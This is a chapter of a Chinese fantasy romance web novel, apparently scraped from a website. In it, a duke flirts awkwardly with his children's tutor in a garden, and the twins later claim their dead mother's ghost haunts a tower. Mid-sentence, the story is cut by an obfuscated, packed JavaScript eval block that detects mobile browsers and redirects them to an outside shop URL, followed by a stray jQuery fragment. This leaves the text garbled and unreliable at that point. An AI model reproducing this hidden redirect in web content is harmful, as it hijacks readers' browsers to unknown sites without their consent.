18. 第 18 章
    冬夕节过后,气温一日日回暖,凌厉的寒风逐渐被温和湿润的春风代替。

    狄法站在窗前,沉默地看着正在庭院里拿着小铲在刚化冻的土层里挖着什么的安东尼和安德烈。

    “海伍德,他们在做什么?”

    海伍德循着主人的视线往下看,正好看到安东尼正兴致勃勃地把泥巴糊到安德烈身上。

    “回老爷,家庭教师在领着两位少爷体验劳动,说要是他们认真,会给他们烤小蛋糕作为奖励。”

    狄法:“小蛋糕?”

    海伍德:“是的,红血人对于食物的挑剔已经成为了一种种族特性,甚至可以说在他们的血液中代代传承。”

    说到这里,海伍德的眼神更是变得复杂,透露出沧桑意味,好似对卡斯德伊的未来感到忧心,“老爷,我不得不这么说,但恐怕精挑的饮食和单调的劳动对于培养少爷们坚韧的品性可没有任何益处。”

    不仅是个学者,而且还喜欢烘焙?

    狄法没留心海伍德最后说了什么,他的目光重又落到站在阳光下的年轻红血人身上,想象不出来伊洛里是如何用一本正经的态度量面粉和打鸡蛋。

    好像全部光芒都聚焦于伊洛里,他柔软的卷发如琥珀色的蜜糖,他如同燃烧着的金色火焰,让人挪不开眼睛。

    对于寒冷的塔奥来说,温暖是最珍稀的存在。

    狄法捻了捻手指,觉得有些痒,最近这段时间,他总是会想到因为黄金热而失去意识的那个夜晚,想起那时候感觉到的温暖,像是最柔软蓬松的羽毛轻抚过心间,然后那痒意就留下来了。

    真要说的话,就像伊洛里·亨特给他的感觉。

    望着底下仍一无所觉的红血人,狄法微不可察地皱起眉。

    ……

    伊洛里正专注地给一株业已盛放的茶花树修剪枝叶,一点点用园艺剪刀剪去压弯了枝头的花骨朵儿。

    红血人热爱园艺与自然,侍弄植物是他们与生俱来的本能,也是他们放松休息的方式之一。

    伊洛里凑近花蕊,深深地吸了一口气,清甜的馨香充斥鼻尖,他正陶醉地半眯起眼时,一股不协调的苦涩却忽然掺杂入内。

    狄法的阴影悄然遮蔽了伊洛里的视线。

    “今天安排的课程可真是特别。”

    伊洛里仰起头,但逆光状态下只能见到狄法高挺得过分的鼻梁与深邃的眼窝,非人的竖瞳缩成一条线,左眼则沉敛着一片晦暗的墨蓝。

    “我还不知道修辞学的教导已经发展到这种地步,教学场所已经不满足于室内了吗?”

    “哦阁下,这个、这个是,”伊洛里被突然出现在身后的狄法吓了一跳,连忙解释道,“我们正学到一篇歌颂自然之美的课文,所以我才带安东尼和安德烈到庭院里来了。”

    他尴尬地笑了笑,“我想着,再优美的文字都很难比得上能够亲身体会的大自然。”

    狄法看向他手侧粉白硕大的花骨朵儿,那仿佛是一捧新雪,衬得伊洛里微微泛红的手指更显脆弱。

    狄法:“教授,你以前教导其他学生时也是如此?把学生从课堂带到大自然中?”

    他在问伊洛里当教区学校老师的时期的事情。

    “公爵阁下,你应该不太了解教区学校的情况吧,”伊洛里的表情有点小苦恼,似乎在谨慎地选择字词,说,“教区学校的条件可不允许我这么做。这一大片绿地对那里的学生而言太奢侈了,我能做的不过就是给学生们摘几朵花,让他们夹在书里,也算是有那么一点春天的气息。”

    这不是胡诌,却也不是狄法想要听见的回答。

    狄法目不转睛地看着面前人,看出来他又是在避重就轻,逃避着说自己的情况,含糊其辞。

    狄法:“我听海伍德说,你还给安东尼和安德烈烤了蛋糕?海伍德很担心这会导致安东尼和安德烈认为学习必须以得到奖励为前提,助长他们出现好逸恶劳的品性。”

    严肃的老蓝血人对甜点并不热衷,甚至可说,他们普遍认为只有小孩和缺乏自控力的人才会那么爱吃糖。

    伊洛里不由得怀疑是海伍德因为这点小事而跟狄法抱怨了他,所以狄法才会现在出现在这里,一个问题接一个问题地找他麻烦。

    如果狄法能听到伊洛里的心声,他一定会语噎,他没有在找伊洛里麻烦,至少他内心里没有这个想法。

    “我不认为我的蛋糕能有这么邪恶的用途,”伊洛里有点窘迫地解释,“我知道卡斯德伊人都热爱冰冷的宝石和熔炼钢水的锻造,而不是新鲜出炉的蛋糕,但偶尔的口舌之欲也不至于让你们灵魂堕落,不是只有极寒或者极热才能锻炼卡斯德伊的孩子的心智的……”

    茶花树上的叶子在不知不觉中被他揪了几片下来。

    伊洛里犹豫着,摘下一朵茶花递给狄法,“相较钻石,美丽和柔软的花朵其实不比它们逊色多少……如果你用心去看的话。”

    花瓣很脆弱。这是一种狄法无比陌生的脆弱触感,他不记得自己什么时候有从别人的手中接过一朵花。

    伊洛里想松开手,但狄法握住了他,冰冷的手指冻得他一惊,耳边响起极低沉的语调,让伊洛里的眼皮为之一跳。

    “是像这样看吗?教授?”狄法问。

    两人的距离已经越过了社交距离,只余一朵盛放的花虚虚地挡在两人眉眼之间,书房交谈的那段记忆重被唤醒,伊洛里仿佛又闻见衣裳上沾染到的浓烈烟味。

    太近了。

    俊美无俦的一张脸靠近了,就好像在逼人直视日光,伊洛里被耀眼的光芒轰炸得头脑一片空白。

    伊洛里慌不择路:“对、对,就是这么样。”

    伊洛里紧张得都说不完一整套外交辞令,眼睛不停左看右看,就是不看向狄法,“啊,下课时间到了。”

    他僵硬地往后退了一步、两步,硬着头皮说:“那么,阁下,我先告退了。”

    狄法望着他片刻,末了才道:“好。”

    伊洛里揉了揉自己的脸,紧张后有点刺痛,虽然已经过去这么多天,但他的紧张非但没有缓解,反而因为对狄法的了解增加而更加紧张,明明狄法没有提,他也没有提,两个人之间却似乎建立起了微妙的共鸣。

    伊洛里说不清心里的滋味,只想快点离开这里,他快步走到埋首玩泥巴的安东尼和安德烈身边,招呼道:“孩子们,自由活动时间结束,现在我们去做小蛋糕怎么样,我来给你们做好吃的蛋糕。”

    安东尼和安德烈小脸一垮,齐齐傲娇地一扭头,“哼,少来,就算你想这样来重新讨好我们也是没用的。”

    “是奶油果酱蛋糕,我从家中带来了具有独特风味的草莓果酱,酸甜滋味可是灰铸铁城堡内尝不到的哦。”

    安德烈和安

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073306|149387||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    东尼一听这个,虽然脸上别扭,但身体还是很老实地跟了上去。

    走出几英尺,伊洛里转头看,只见高大的黄金公爵还站在原地,捻着花的茎干若有所思地旋了旋,似乎迷惑,眼神却又无比专注。

    有那么一瞬间,伊洛里觉得狄法不是在看花,而是在透过花注视着他的灵魂。

    -------------------------------------

    带领安东尼和安德烈做蛋糕的过程可谓“鸡飞狗跳”。

    显然两个才12岁的小毛孩压根不懂得什么叫珍惜粮食,面粉鸡蛋乱放,蛋壳掉进了碗里也不耐心去挑出来,简直是在瞎胡闹。

    但同时,他们也确实有在期待香香软软的小蛋糕,尽量耐着性子按伊洛里说的去做了,眼睛亮亮地看着伊洛里把面糊倒进模具,再送进烤炉。

    伊洛里看了看两个小孩,状似无意地问起:“对了,西侧的那个塔楼是用来做什么的呢,我总听见有些声音从那里传出,是有什么人在里面居住吗?”

    安东尼和安德烈面面相觑。

    “……”

    安德烈迟疑地问:“你为什么要问这个?”

    两人狐疑地打量着伊洛里。不可能能听见啊,塔楼那么远,他们就从来没有听见过这种声音。

    “哦,没什么。”

    伊洛里耸了耸肩,随口道:“只是有些好奇。不过不能问的话就算了,或许只是我误把单纯的风声当做了哭泣声。隔得这么远,有什么幻听都正常。”

    他看上去是真的不在乎,但却换到安东尼和安德烈坐立不安了。

    他们都想知道那个哭泣声究竟是不是真的。

    安东尼和安德烈埋头嘀嘀咕咕了好一阵子,期间还不时抬起头看正去烤炉旁边观察蛋糕烤得怎么样的伊洛里一眼。

    安东尼小声道:“哥哥,海伍德有说过会这样吗?”

    “这种事情没说过啊,”安德烈也烦恼,“但是,海伍德他也有可能在骗我们也说不定。”

    不知道两人最后得出了一个怎么样的结论,过了一会儿,安德烈抬起头,犹疑着问:“伊洛里,你说你听到声音,那那个人在说什么呢?”

    他跟安东尼都一副很想知道说话内容的渴望神情。

    伊洛里心下讶异,不动声色地往下问:“你们为什么想要知道这个?”

    安东尼和安德烈不答了,小脸纠结地皱在一起。

    伊洛里挑起眉:“你们知道那么多,而我却半分情况都不了解,随便跟你们讲我听到的,那就是我在讲别人的闲话了。”

    伊洛里摇头,“不行不行,我得树立好的表率,要尊重他人的隐私。你们也不要再问了,我是不会说的。”

    这下,性子急的安东尼按捺不住了,“才不是什么‘别人’,那是我们的妈妈。”

    伊洛里惊讶地看向他,完全不理解他在讲什么。《卡斯德伊年表》上写得明明白白,吉莉安·卡斯德伊已经去世了啊。

    安德烈一副“被自己的弟弟给打败了”的模样,头疼地捂住了脑袋,“笨蛋,少说两句啦。”

    但为了知道妈妈说的话,他也不得已向伊洛里解释起来,“你听到的声音,大概是我们妈妈的鬼魂发出来的。”

    什么?

    仿佛听到什么不可能事件,伊洛里一脸不可思议。